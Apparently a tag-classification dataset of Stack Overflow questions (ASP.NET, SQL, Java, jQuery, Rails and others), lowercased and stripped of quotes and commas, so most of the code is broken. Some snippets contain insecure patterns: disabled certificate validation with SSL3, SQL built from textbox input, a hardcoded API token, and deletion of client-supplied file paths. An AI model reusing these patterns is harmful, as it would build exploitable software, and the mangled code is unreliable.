system.web.httpcontext.current.request.url.host.tostring().split( . )[0]);         httpcontext.current.application[ emailid ] = email;         httpcontext.current.application[ timezone ] = timezone;        system.net.servicepointmanager.servercertificatevalidationcallback = (senderx  certificate  chain  sslpolicyerrors) => { return true; };        system.net.servicepointmanager.servercertificatevalidationcallback += servercertificate.validate;         try         {             servicepointmanager.securityprotocol = securityprotocoltype.ssl3;             servicepointmanager.servercertificatevalidationcallback = validateremotecertificate;   <pre><code>        oauthtokenresponse reqtoken = oauthutility.getrequesttoken( oauth_consumer_key oauth_consumer_secret httpcontext.current.request.url.absoluteuri    );         return string.format( https://twitter.com/oauth/authorize oauth_token={0}  reqtoken.token);      }      catch (exception ex)     {         return ex.tostring();     } </code></pre>,asp.net
angularjs nested pages  all gets rendered  i have a html page which contains five child html pages.  using angularjs $rootscope.$broadcast and $rootscope.$on i am sending common data back and forth between pages.  the problem is if get/post method fires by any of pages  it renders all the slibbing pages and thus call every ng-event written in every html page  thus creates performance issue. how to avoid this rendering for every page.,angularjs
how to declare arccos of -1 (pi) as an lvalue initializer in c++   the principal value of the cos^-1(-1) is π.  using this as an lvalue initializer  complete the code snippet below and declare a value reference named pi.  place it in the position indicated by the comment  then add a line that prints the value of the pi reference to 16 digits on the console.     i m just a little confused with the lvalue initializer and declaring the value reference part. any help would be greatly appreciated.,c++
non matching columns in two tables  i have 2 tables they are joined by id s  i know that there are some columns in contract table whose data doesn t match with my warranty table even when id s are matching. i am using the query below  does it look correct    <pre><code>select con.m_warranty_sku_id         con.contract_type         con.program_type         con.underwriter         wsk.m_warranty_sku_id         wsk.contract_type         wsk.program_type         wsk.sku_underwriter from   mdhdba.m_contract con         mdhdba.m_warranty_sku wsk where  ( wsk.m_warranty_sku_id = con.m_warranty_sku_id )        and con.contract_type &lt;&gt; wsk.contract_type  </code></pre>,sql
showing a html format string on browser in java  i have problem about showing a string in html format on my browser in java. here i have a java string like this   <pre><code>&lt;html&gt;&lt;head&gt;&lt;title&gt;403 forbidden&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h2&gt;403 forbidden&lt;/h2&gt; &lt;/p&gt;&lt;/h3&gt;you need permission for this service&lt;/body&gt;&lt;/html&gt; </code></pre>   with this method  rep.formforbidden()   i get this html format string  so i need it show it on my browser. thanks,java
associations and collection_select  error: undefined method `map  for nil:nilclass    controller   <pre><code>def new    @book=book.new   @subjects=subject.find(:all) end </code></pre>   model   <pre><code>belongs_to :subject attr_accessible :title  :description  :subject_id validates_presence_of :title :description </code></pre>   view   <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;&lt;b&gt;&lt;%= f.label  title  %&gt;&lt;/b&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= f.text_field :title %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;b&gt;&lt;%= f.label  description  %&gt;&lt;/b&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= f.text_area :description %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;b&gt;&lt;%= f.label  subject  %&gt;&lt;/b&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= f.collection_select(:subject_id @subjects :id :name) %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;%= f.submit  save  %&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   when im trying to save without filling in title and description itz showin me the above error. if im fillin the title and description then itz workin good. can anyone plz help me,ruby-on-rails
how to get time wise record in mysql  i need time wise sales report in mysql i get the report like    <pre><code>time    amount 19:00:00    2 20:00:00    5 21:00:00    0 22:00:00    0 23:00:00    14 </code></pre>   but i need sum of amount like    <pre><code>time    amount 19:00:00    2 20:00:00    5 21:00:00    5 22:00:00    5 23:00:00    14 </code></pre>   this is  my query   <pre><code>select concat(mid(date_of_call  12  2)  :00:00 ) timeintervel count(*) totalentries date_format(date_of_call  %d/%m/%y ) from icc_mm_setup_suply  where date_format(date_of_call  %d/%m/%y )= 31/01/2017  group by concat(mid(date_of_call  12  2)  :00:00 ) </code></pre>,mysql
adding value together with the existing value in database  i am developing an application and i want it update some information and to add the value of quantity in the existing database to the new value enter by the user.  it s updating properly but instead of adding quantity together it s putting the new value at d back of existing value in database e.g if i have 5 in the database before and 3 in the new textbox instead of the new value to be 8  it s showing 35 in database.  this is my code   how can it be adding the value              con = new oledbconnection( provider=microsoft.jet.oledb.4.0; data source=  &amp; application.startuppath &amp;  \pharmacy.mdb )             con.open()             dim ct1 as string =  select * from stock where code=    &amp; txtcode.text &amp;       <pre><code>        cmd = new oledbcommand(ct1)         cmd.connection = con         rdr = cmd.executereader()          if rdr.read then              con = new oledbconnection( provider=microsoft.jet.oledb.4.0; data source=  &amp; application.startuppath &amp;  \pharmacy.mdb )             con.open()              dim cb as string =  update stock set company = @d1   productname =@d2  code=@d3  quantity= [quantity] + @d4  unitprice = @d5  ddate = @d6  batchno = @d7  type = @d8  expdate =@d9   +  where code = @d3               cmd = new oledbcommand(cb)              cmd.connection = con               cmd.parameters.add(new oledbparameter( @d1    company ))             cmd.parameters.add(new oledbparameter( @d2    productname ))               cmd.parameters.add(new oledbparameter( @d3    code ))              cmd.parameters.add(new oledbparameter( @d4    quantity ))              cmd.parameters.add(new oledbparameter( @d5    unitprice ))             cmd.parameters.add(new oledbparameter( @d6    ddate ))             cmd.parameters.add(new oledbparameter( @d7    batchno ))             cmd.parameters.add(new oledbparameter( @d8    type ))             cmd.parameters.add(new oledbparameter( @d9    expdate ))                cmd.parameters( @d1 ).value = cmbcompany.text             cmd.parameters( @d2 ).value = txtprdtname.text              cmd.parameters( @d3 ).value = txtcode.text               cmd.parameters( @d4 ).value = txtquantity.text              cmd.parameters( @d5 ).value = (txtunitprice.text)             cmd.parameters( @d6 ).value = txtdate.text             cmd.parameters( @d7 ).value = txtbatchno.text()             cmd.parameters( @d8 ).value = cmbtype.text             cmd.parameters( @d9 ).value = dtpexpirationdate.text               cmd.executereader()              messagebox.show( successfully updated    product details   messageboxbuttons.ok  messageboxicon.information)              rdr.close()             con.close() </code></pre>,.net
java lang verify error <pre><code>java.lang.verifyerror: (class: a method: parse signature:  ()z) incompatible argument to function  public boolean parse() {   } </code></pre>   what does this error mean and how to fix these kind of errors,java
why can some ascii characters not be expressed in the form  \uxxxx  in java source code   i stumbled over this (again) today:   <pre><code>class test {     char ok =  \n ;     char okaswell =  \u000b ;     char error =  \u000a ; } </code></pre>   it does not compile:    <blockquote>    invalid character constant in line 4.  </blockquote>   the compiler seems to insist that i write  \n  instead. i see no reason for this  yet it s <em>very</em> annoying.    is there a logical explanation why characters that have a special notation (like <code>\t</code>  <code>\n</code>  <code>\r</code>) <em>must</em> be expressed in that form in java source,java
clone & remove incrementing divs separately without deleting the first div  i m using query to clone divs but when removing them i want the first one to in place and not be removed  can t get my head round it.    here s the jquery   <pre><code>function updateclonedinput(index  element) { $(element).appendto( body ).attr( id    clonedinput  +  index); $(element).find( &gt;:first-child ).attr( id    show_upload_image_link_  + index); $(element).find( &gt;:first-child ).attr( name    kandibox_theme_hero_options[show_upload_image_link_  + index +  ] ); $(element).find( &gt;:first-child ).attr( value    &lt; php echo $hero_options[ show_upload_image_link_  + index +   ];  &gt; ); $(element).find( &gt;:first-child ).next().attr( id    show_upload_image_link_button_  + index); }  $(document).on( click    button.clone   function(){ var cloneindex = $( .clonedinput ).length + 1; var new_input = $(this).parents( .clonedinput ).clone(); updateclonedinput(cloneindex  new_input);     }); $(document).on( click    button.remove   function(){ $(this).parents( .clonedinput ).remove();  $( .clonedinput ).each( function (cloneindex  clonedelement) {     updateclonedinput(cloneindex + 1  clonedelement); }) }); </code></pre>   here s a fiddle of my working code.    <a href= http://jsfiddle.net/vs8p5/13/  rel= nofollow >http://jsfiddle.net/vs8p5/13/</a>,jquery
user fgetcsv with and without quotations around entries  <strong>edit:</strong> is there an alternative to fgetcsv     the code below processes csv files where each entry is in cased by <strong>quotes</strong> and separated by <strong>commas</strong> <code>ex:  name   last </code>... the problem i m having is sometimes the csv files do not have quotes around each entry and just has the comma to separate it <code>ex: name last</code>. how can i handle both types    <pre><code>$uploadcsv =  /temp/files/load15.csv ;        $handle = fopen($uploadcsv   r );        $column_headers = array(); $row_count = 0; while (($data = fgetcsv($handle  100000     )) !== false) {   if ($row_count==0){     $column_headers = $data;   } else {     print_r($data);   }   ++$row_count; } </code></pre>   <strong>this csv works:</strong>   <pre><code> name   last   mike   aidens   mike1   aidens1  </code></pre>   <strong>this csv does not work:</strong>   <pre><code>name last mike aidens mike1 aidens1 </code></pre>   <strong>edit:</strong> strange error... i tried a small snippet from the csv file with no quotations and it worked. odd then  i try a large piece then the entire csv content (this is all be paste into a new test.csv file) and it worked. both files are the same exact size 17 151kb yet the original csv file will not process. there is no trailing spaces or line at the end.,php
wrong output in c++   i=65530 and when we print value of i it gives -6 instate of 65530. why    i was creating a simple variable printing program and there is unexpected output. the program gives output -6  but i would have expected 65530.    why    <pre class= lang-cpp prettyprint-override ><code>#include&lt;iostream&gt;  int main(){     short int i=65530;     std::cout&lt;&lt;i; } </code></pre>,c++
generate random number on page load and store in a hidden form field  i need to generate a random number on every web page load and store that number in a hidden form field (id= field10 ). following is my code but its wrong. quick help is highly appreciated.   <pre><code>&lt;script type= text/javascript &gt;   function test(final){ var min = 1; var max = 9999999999; var num = math.floor(math.random() * (max - min + 1)) + min; var timenow = new date().gettime();  var final = num+ _ +timenow; document.getelementbyid( field10 ).value=test(final);   } window.onload = test; &lt;/script&gt; </code></pre>,javascript
<input type= file > extension filtering is not working  in my application i need the file chooser to only accept images with .jpg extension. the code used for this shown here   <pre><code>&lt;input type= file  id= imginp  accept= image/jpg /&gt; </code></pre>   but unfortunately the file input accept all the file types as input. is there any other method for filtering the input,html
how to make android share button appear on touch   i am creating a news app which contains a  share news  button. currently this button is showing all the time when user reads the news  which makes news reading irritating. now my question is how can i make that share button show up when user touch on the screen  and will disappear after 2-3 seconds if it is left without touching. it would be nice if i can make a little animation during the button appearing/disappearing (like  show up from bottom and disappear going down). please help...    thanks,android
aging of data week wise in mysql  here i have a table of task that contains task_id  created_date  completed_date  priority .    i need output that give me the records priority wise and no of week task open . if completed_date is null than it should calculate the difference from current date.    i need mysql query that return me the record like   <pre><code>----------------------------------------------------------------- |week of created | priority  | count   |   no of week task open | ----------------------------------------------------------------- |40              | hi        | 20      | 2(week diff of completed |                                          and create date) </code></pre>   here is the query that give me the data when completed date is exist.   <pre><code>select yearweek(created_date) as year_week        priority  count(*) as cnt        yearweek(completed_date) - yearweek(created_date) as diff    from lss_analysetasklogview   where diffs is not null     and diffs &lt;&gt;        and completed_date is not null     and completed_date &lt;&gt;  0000-00-00    group      by diff        priority; </code></pre>   here is the query that give me the data when completed date is not exist.   <pre><code>select yearweek(created_date) as year_week        priority        count(*) as cnt        yearweek(current_date) - yearweek(created_date) as diff    from lss_analysetasklogview   where diffs is not null     and diffs &lt;&gt;        and (completed_date is null or completed_date =  0000-00-00 00:00 )   group      by diff        priority; </code></pre>   i had combine count of both query when week difference and priority same using query    <pre><code>select a.year_week  a.priority  a.cnt + b.cnt as cnt  a.diff  from (select yearweek(created_date) as year_week  priority  count(*) as cnt  yearweek(completed_date) - yearweek(created_date) as diff from lss_analysetasklogview where diffs is not null and diffs &lt;&gt;    and completed_date is not null and completed_date &lt;&gt;  0000-00-00  group by diff priority) a  (select yearweek(created_date) as year_week priority  count(*) as cnt  yearweek(current_date) - yearweek(created_date) as diff from lss_analysetasklogview where diffs is not null and diffs &lt;&gt;    and (completed_date is null or completed_date =  0000-00-00 00:00 ) group by diff priority) b where a.diff = b.diff and a.priority = b.priority and a.year_week = b.year_week; </code></pre>   but how can i get record of first two query which are not consider in last query.    how can i get the desire set of record. suggest me any query regarding my question .    thanks in advance.,mysql
download file (image button ) option is not working in updatepanel   in gridview there is an image button to download file. i have used the gridview with updatepanel.if i removed updatepanel the download option will work fine.but i have to use updatepanel in this.how can isolve this    <pre><code> &lt;asp:updatepanel id= updatepanel2  runat= server  &gt;                         &lt;contenttemplate&gt;                &lt;asp:gridview id= gridimport  runat= server  autogeneratecolumns= false  width= 99%  height= 50%                                      allowpaging= true  gridlines= none  style= padding: 15px; text-align: left; overflow: scroll;                                     font-family: arial; font-size: 11pt;  showheaderwhenempty= true  pagesize= 5                                      cssclass= grid_le  headerstyle-cssclass= grid_head  emptydatatext =  no files imported  onpageindexchanging= gridimport_pageindexchanging &gt;                 &lt;columns&gt;                     &lt;asp:boundfield datafield= text  headertext= file name  /&gt;                     &lt;asp:templatefield&gt;                         &lt;itemtemplate&gt;                               &lt;asp:imagebutton id= lnkdownload  runat= server  commandargument= &lt;%# eval( value ) %&gt;   style= width: 20px; height: 20px;  imageurl= ~/images/download.png  onclick =  downloadfile   /&gt;   &lt;%--commandname= upload   onclick= downloadfile --%&gt;                         &lt;/itemtemplate&gt;                     &lt;/asp:templatefield&gt;                     &lt;asp:templatefield&gt;                         &lt;itemtemplate&gt;                               &lt;asp:imagebutton id= lnkdelete  runat= server  commandargument= &lt;%# eval( value ) %&gt;   style= width: 20px; height: 20px;  imageurl= ~/images/cancel.png  onclick= deletefile  /&gt;                         &lt;/itemtemplate&gt;                     &lt;/asp:templatefield&gt;                 &lt;/columns&gt;             &lt;/asp:gridview&gt;            &lt;/contenttemplate&gt;                     &lt;/asp:updatepanel&gt;  </code></pre>   <strong>.cs</strong>   <pre><code>   protected void downloadfile(object sender  eventargs e)         {             string filepath = (sender as imagebutton).commandargument;             response.contenttype = contenttype;             response.appendheader( content-disposition    attachment; filename=  + path.getfilename(filepath));             response.writefile(filepath);             response.end();         }         protected void deletefile(object sender  eventargs e)         {             string filepath = (sender as imagebutton).commandargument;             file.delete(filepath);             exprotfilelist();             clientscript.registerstartupscript(gettype()   val    showexppopup();   true);         } </code></pre>,asp.net
preventing re-submission of data on browser refresh  i have a form.  on submit of a button  it inserts a record into the db.   if i go back in my browser and refresh the page it s resubmitting it causing all sorts of issues as you can imagine.  how do i ensure that the user can t refresh the previous page and the state of that page does another automatic submit on refresh like this    <ol> <li>i m not using viewstate.  i actually have it disabled in the page directive</li> <li>no  response.redirect does not solve this problem.  the user can still go back with the browser s back button and refresh at the point where they submitted and it will still run the button s event sending the data downstream to my dl insert</li> </ol>,asp.net
how can select last 7 max salaries from this table  <pre><code>name                        age     deptno     salary -------------------- ---------- ---------- ---------- shasank                      25         11       2025 raju                         27         12       2027 bali                         31         10       2031 rambo                        32         11       2121 chir                         34         10       2123 son                          33         12       2131 don                          33         11       2132 ram                          28         13       2141 nag                          35         10       2213 dimpu                        33         12       2314 </code></pre>,sql
using max() and count() in the same query  i am trying to figure out what language a user answers in the most  and return by <code>user_id</code>  the <code>language_id</code> they answer in the most and how many times they have answers.    i began by <code>select</code>ing a table/sub-table which returns these results:   <pre><code>table: `sub-selected` `user_id`    `language_id`    `answers`   1               1               1   2               1               1   1               2               5   2               2               2   1               4               3   1               5               1 </code></pre>   this table returns the <code>user_id</code>  the <code>language_id</code>  and how many times that <code>language_id</code> has been answered by the user. i used this query to get it:   <pre><code>select t1.user_id  t2.to_language_id  count(t2.to_language_id) as answers from translation_results as t1 left join translations as t2 on t2.translation_id = t1.translation_id group by t2.to_language_id  t1.user_id </code></pre>   the table structure is:   <pre><code>table: `translations` `translation_id`    `from_phrase_id`    `to_language_id`  table: `translation_results` `translation_id`    `result_id` pri-ai    `user_id` </code></pre>   the <code>translations</code> table stores all the translations requested  and the translation_results table stores the answers to those translations and the respective <code>user_id</code>.    so  to sum up the table and to get the user_id  their most answered <code>language_id</code>  and how many times they answered in that <code>language_id</code>  i used:   <pre><code>select t1.user_id  t1.to_language_id  max(t1.answers) from (     //the sub-table     select t1.user_id  t2.to_language_id  count(t2.to_language_id) as answers     from translation_results as t1     left join translations as t2     on t2.translation_id = t1.translation_id     group by t2.to_language_id  t1.user_id ) as t1 group by t1.user_id  t1.to_language_id </code></pre>   but this does not collapse the table into the desired structure and instead returns:   <pre><code>table: `sub-selected` `user_id`    `language_id`    `answers`   1               1               1   1               2               5   1               4               3   1               5               1   2               1               1   2               2               2 </code></pre>   i know it is affected by the group by of <code>two clauses</code>  but then if i only group by user_id and do not include to_language_id in my selected columns  i can t know which respective language_id is the most answered. i have also tried sub-queries and a few joins  but i find i constantly need to use <code>max(t1.answers)</code> regardless in the selected columns and thus destroys my hopes of collasping the <code>group by</code> correctly.  how can i collapse the query correctly instead of having <code>group by</code> find all the unique <code>max()</code> combinations of <code>user_id</code> and <code>to_language_id</code>,mysql
detect difference between & and %26 in location.hash  analyzing the location.hash with this simple javascript code:    <code>&lt;script type= text/javascript &gt;alert(location.hash);&lt;/script&gt;</code>    i have a difficult time separating out get variables that contain a &amp; (encoded as %26) and a &amp; used to separate variables.    example one:   <ul> <li><h1>code=php&amp;age=15d</h1></li> </ul>   example two:   <ul> <li><h1>code=php%20%26%20code&amp;age=15d</h1></li> </ul>   as you can see  example 1 has no problems  but getting javascript to know that  code=php &amp; code  in example two is beyond my abilities:    (note: i m not really using these variable names  and changing them to something else will only work so long as a search term does not match a search key  so i wouldn t consider that a valid solution.),javascript
to disable the backbutton of browser window using javascript <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/87422/disabling-back-button-on-the-browser >disabling back button on the browser</a>    </blockquote>   hi guys         i need to disable the backbutton of browser window.when i click on backbutton i need to show one message using alert or other means.any one can help me,javascript
"get product given date  how to properly get the date 3 days before the given  if i have a format like <strong>07/21/2017 8:30 am</strong>   this is because i use the format of eonasdan datetime picker. but when i try to minus it with 3 days i got <strong>fri jul 21 2017 08:24:14 gmt+0800 (china standard time)</strong> as my value but my desired output should be the same format like <strong>07/21/2017 8:30 am</strong>. how can i get that the value even i follow my format     my codes:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var d =new date( 07/21/2017 8:30 am );
 var yesterday = new date(d.gettime() - (96*60*60));
 alert(yesterday);</code></pre>
 </div>
 </div>",javascript
sql where id = total ids  is it possible to execute a select query where the id column is within the last 50 rows  so like where id > total id - 50.    something like that  not sure of the syntax! cheers,mysql
ios: why does uitableview dequeue and reuse cells   this is more of a theory question than a programming question. as you know when you instantiate a table view in ios  you have to account for dequeuing and reusing table cells  when they are scrolled in and out of view.     the confusing thing to me is  all the data that populates the cells is cached anyway. when you look at a web page in safari  you are scrolling past a lot more images and text that remains after you scroll past it. i have ios games installed that use many times more data (e.g.  asphalt 6) than a simple table. so i m just curious why apple goes to the trouble of dequeuing and reusing table cells.  thanks.,ios
how can i assign the positive value   i declared an <code>int</code> variable like this    <pre><code>int temp1 = -3; </code></pre>   how can i assign the int value <code>3</code> to <code>temp2</code>     i can only find the method as this    <pre><code>if (temp1 &lt; 0){     temp2 = 0 - temp1; } </code></pre>   is there a good method to approach this,c++
css space between space when line return not working  i would like to set the space between span lines to 15px but it doesn t work when i m using line-height and i measuring the space with chrome extension the space it s not equal to 15px.   <pre><code>&lt;div class= test &gt; &lt;span style= line-height:15px; &gt;   lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor &lt;/span&gt; &lt;/div&gt; </code></pre>   result: <a href= https://i.stack.imgur.com/nbuel.png  rel= nofollow noreferrer >enter image description here</a>,css
validate two tables and insert results in a new one  i have two tables (<code>table1</code> and <code>table2</code>) and i have to validate if a value in a specific column from table1 exists in table2  and if so insert the result to a new table (which is composed with fields from table1 and table2).    for example:    table 1 has columns like:   <pre><code>imagem tipo_backup periocidade </code></pre>   table2 has columns like:   <pre><code>clientname outcome startdatetime enddatetime </code></pre>   table3 need to be composed like this:   <pre><code>imagem (from table1) tipo_backup (from table1) periocidade (from table1) outcome (from table2) startdatetime (from table2) enddatetime (from table2) </code></pre>   here is my code so far:   <pre><code>select imagem  periocidade   into lgp_tbl_execmbackups from lgp_tbl_mapabackups a where a.imagem in (select replace (b.clientname  _db2    ) from lgp_tbl_import_fx_bocada b) </code></pre>   i don t know how to complete the code to get table3.,sql
mysql query row as column  i have a mysql table like a table below.   <pre><code>username | region | product ---------|--------|-------- firdauss | cro | dmc firdauss | eco | dmc firdauss | emo | dmc firdauss | nro | dmc firdauss | sro | dmc </code></pre>   currently what i get with my query was like a table below   <pre><code>product | cro      | eco       | emo       | nro       | sro  --------|-----     |-----      |-----      |-----      |---- dmc     | firdauss | 0         | 0         | 0         | 0 dmc     | 0        | firdauss  | 0         | 0         | 0 dmc     | 0        | 0         | firdauss  | 0         | 0 dmc     | 0        | 0         | 0         | firdauss  | 0 dmc     | 0        | 0         | 0         | 0         | firdauss  </code></pre>   and my query is      <pre><code> select _product   if(_region =  cro  concat(usr_firstname     usr_lastname     (  dep_title  ) ) 0) as cro   if(_region =  eco  concat(usr_firstname     usr_lastname     (  dep_title  ) )  0) as eco   if(_region =  nro  concat(usr_firstname     usr_lastname     (  dep_title  ) )  0) as nro   if(_region =  sro  concat(usr_firstname     usr_lastname     (  dep_title  ) )  0) as sro   if(_region =  emo  concat(usr_firstname     usr_lastname     (  dep_title  ) )  0) as emo  from t1 order by _product asc ; </code></pre>   what i m trying to get is like a table below   <pre><code>product | cro      | eco      | emo      | nro      | sro  --------|-----     |-----     |-----     |-----     |---- dmc     | firdauss | firdauss | firdauss | firdauss | firdauss </code></pre>   may anyone helps me     thanks in advance.,mysql
in java  what happens when evaluating the arguments of a constructor call throws an exception   consider the simple example in java below. what happens if i create an object by calling <code>new b(0)</code>  first  an object of type b in created in memory. then  the expression 1/n will throw an exception. but the created object will never become finalized according to the java spec (§12.6.1) below. so do we get a memory leak       please note that i am not asking  can a constructor throw an exception   but  what happens if a constructor throws an exception in a particular situation.    <blockquote>    an object o is not finalizable until its constructor has invoked the constructor for object on o and that invocation has completed successfully (that is  without throwing an exception).  </blockquote>  <pre><code>class a {     int n;     a(int n) {         this.n = n;     } }  class b extends a {     b(int n) {          super(1/n);     } } </code></pre>,java
expected value not obtained: why   i wrote this very simple and short code  but it doesn t work: when i compile and execute the returned value from the function <em>calculatecharges()</em> is 0 when i m expecting 2.    <em>can anybody explain why  please </em>   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  float calculatecharges(float timein);  int main() {     printf( %d   calculatecharges(3.0));     return 0; }  float calculatecharges(float timein) {     float total;      if(timein &lt;= 3.0)         total = 2.0;      return total; } </code></pre>,c
fetch data using a unique token  i am trying to fetch some json data from an api using a curl token i got from the company but i don t know why this does not fetch the data   <pre><code>var token =  c5de7ee89c1925924dbf0cfd0087b9642fb8cd5c ; $.ajax({     url:  https://formhub.org/api/v1/data/north_ghana/8379       beforesend: function(xhr) {        xhr.setrequestheader( authorization    basic   + token);      }      type:  get       datatype:  json       contenttype:  application/json       success: function (data) {       console.log(json.stringify(data));     }      error: function(){       alert( cannot get data );     } }); </code></pre>   this is the fiddle <a href= http://jsfiddle.net/vx52j/3/  rel= nofollow >http://jsfiddle.net/vx52j/3/</a>,jquery
the first time a menu is clicked by touch  show the sub menu. the second time a menu is clicked by touch  open the link of the anchor tag  when a menu is hovered by a mouse  show the sub-menu. when a menu is clicked with a mouse  open the link of the anchor tag. the first time a menu is clicked by touch  show the sub menu. the second time a menu is clicked by touch  open the link of the anchor tag. switch functionality seamlessly for tablets that also have mouse devices attached.,angularjs
cant add a delegate to a subview  i am having some main viewcontroller   that i want to add a subview to it  as a child  which is also a viewcontroller  .    my approach is that when you finish editing that subview  he will tell the main view to do something with a delegate.   <ol> <li> does this approach to create many subviews as <code>viewcontrollers</code> that being added to the main view  and notify him with delegate when something happens   is a good approach   </li> <li> why can t i add a delegate listener to my subview   i created the protocol in my subview  and the main view is adding a subview and needs to subscribe to its delegate   so : </li> </ol>  <blockquote> <pre><code>uiviewcontroller *search = [[searchview alloc]init]; //my subview that post delegate     //[search delete:self]; //can t add delegate here      [self addchildviewcontroller:search];     // search.view.frame = cgrectmake(0  0  0  550);      [self.view addsubview:search.view];     [search didmovetoparentviewcontroller:self]; </code></pre> </blockquote>,objective-c
css: block width should stay fixed until sidebars reach little width  i have <code>&lt;div&gt;</code> block  that have some fixed width. sidebars stretch until their width reach some value. then block should stretch instead of sidebars. how can i implement this in css      sidebars  are just <code>&lt;div&gt;</code> s margin (space).    solution:   <pre><code>div {     /* left and right margin stretch from zero to infinity */     margin:0 auto;      /* 2em is minimal side width */     padding: 0 2em;      /* expected width */     max-width: 640px;      /* minimal width */     min-width: 320px; } </code></pre>,css
can i control my id and name tags in asp. net 4.0   when i use asp.net controls  (like inputs)  i specify an id in the markup; however  when i deploy the solution it s been prefixed with some automatically generated asp.net identifiers with my original id appended on the end.     i don t want to use the server side tag workaround present in other so questions to give my jquery a fixed id to latch onto because it discourages using external js files. does 4.0 give you more control over your ids,asp.net
mysql shortest query without results  i m looking for a query with the lowest possible resource usage which gives no result. for example (this won t work):   <pre><code>select 1 where 0 </code></pre>   <strong>edit:</strong> the goal would be to be used in an exists subquery in special cases where i want no matches. (i know this is not the only possible solution  but in my environment i chose to use this one).,mysql
why am i getting [object object] when passing in data to a directive   i have a rather frustrating scenario where this code works perfectly when used on its own but if i try to put it inside another directive the console.log outputs [object object] instead of the actual object. i can t figure out whats going on.    js   <pre><code> (function () {     use strict ;      angular.module( stn-core )         .directive( htmlcontent   htmlcontent);    function htmlcontent () {     return {       restrict:  ae         templateurl:  content-blocks/html-content/html-content.html         scope: {         data:  =        }        link: function (scope  elem  attrs) {         console.log(scope.data);         scope.componentname =  html-content ;       }     };   }  })(); </code></pre>   template   <pre><code>{{data | json}} &lt;div class= html-content &gt;     &lt;div ng-bind-html= data.data[data.data.type] &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   location of directive causing the problem (another directive template)   <pre><code>&lt;div class= conference-location &gt;   &lt;html-content data= data.tophtml  class= con-location-html1 col-lg-12 col-md-12 col-sm-12 sol-xs-12 &gt;&lt;/html-content&gt;   &lt;div ng-bind-html= data.bottomhtml  class= con-location-html2  col-sm-6 col-xs-12         ng-class= { col-lg-6 col-md-6 :width&lt; 100   col-lg-8 col-md-7 :width === 100} &gt;&lt;/div&gt;   &lt;div class= conference-location-widget  col-sm-6 col-xs-12         ng-class= { col-lg-6 col-md-6 : width &lt; 100   col-lg-4 col-md-5 :width===100} &gt;     &lt;stn-location data= data.conference &gt;&lt;/stn-location&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
c - segmentation fault linked list  i am doing a project learning about linked list in c. while my code does compile  i get a segmentation fault when attempting to run my code. i know where the segmentation fault happens  but i am trying to figure out what is wrong with it. here is my code:   <pre><code>// // it reads the list from the file_name indicated. if the list already has entries  // it will clear the entries. // int llist_read(linkedlist * list  char * file_name) {         //still need to complete this!!!         listnode * e;         int val;         file *f;          e = list-&gt;head;         while (e != null) {             e-&gt;value = 0;             e = e-&gt;next;         }         e = list-&gt;head;         if (file_name == null) {                 return 0;         }         if ((f = fopen(file_name   r )) == null) {                 return 0;         }         if (fscanf(f   %d\n   &amp;val  val) == 0) {                 return 0;         }         else {             e-&gt;value = val; //segmentation fault occurs here.             e = e-&gt;next;             e = fscanf(f   %d   e-&gt;value);             while (e-&gt;next = fscanf(f   %d   e-&gt;value) != eof) {              }     }     return 1; } </code></pre>   i get a segmentation fault here:   <pre><code>e-&gt;value = val; //segmentation fault occurs here. </code></pre>   any advice as to why this isn t working would be greatly appreciated!,c
ror: creating and empty <select> dropdown  i have a <code>&lt;select&gt;</code> tag i am creating with the rails <code>select_tag</code> and i am populating its contents in js. so i would like to initialize it to be empty  but when i write.    <pre><code>= select_tag  program    &lt;option&gt;&lt;/option&gt; .html_safe  include_blank:true </code></pre>   i get the following error:    <pre><code>app/views/welcome/index.html.haml:53: syntax error  unexpected  ;   expecting  )  ));}\n #{_hamlout.format_scri... ^  </code></pre>   here is my full form  which may be causing the error:    <pre><code> =form_tag(controller:  school_applications   action:  calculate_price   method:  get   class:  calc_form ) do      =select_tag  start_date   options_for_select([ february 9  2015    april 6  2015    may 4  2015    june 1  2015    june 29  2015    july 27  2015    august 25  2015    september 21  2015    october 19  2015    november 16  2015    december 14  2015  ])     -@option_array = (2..52).each.map {|i| [ #{i} weeks   i]}     -@option_array = @option_array.unshift([ 1 week   1])     = select_tag(:duration options_for_select(@option_array))     = select_tag(:fls_center options_for_select( flscenter.all.map{|p| [p.name  p.id]})     = select_tag  program    &lt;option&gt;&lt;/option&gt; .html_safe  include_blank:true     =submit_tag  calculate price  </code></pre>,ruby-on-rails
actioncontroller::routingerror - uninitialized constant applicationcontroller::cancan:  i can t load my application its giving an above error.    the <strong>routes.rb</strong> file is:   <pre><code>resources :patients    resources :clinics  root :to =&gt;  home#index   devise_for :users  :controllers =&gt; {:registrations =&gt;  registrations }  resources :users  get  /email_send_message   to:  application#show_mail_send_message  </code></pre>,ruby-on-rails
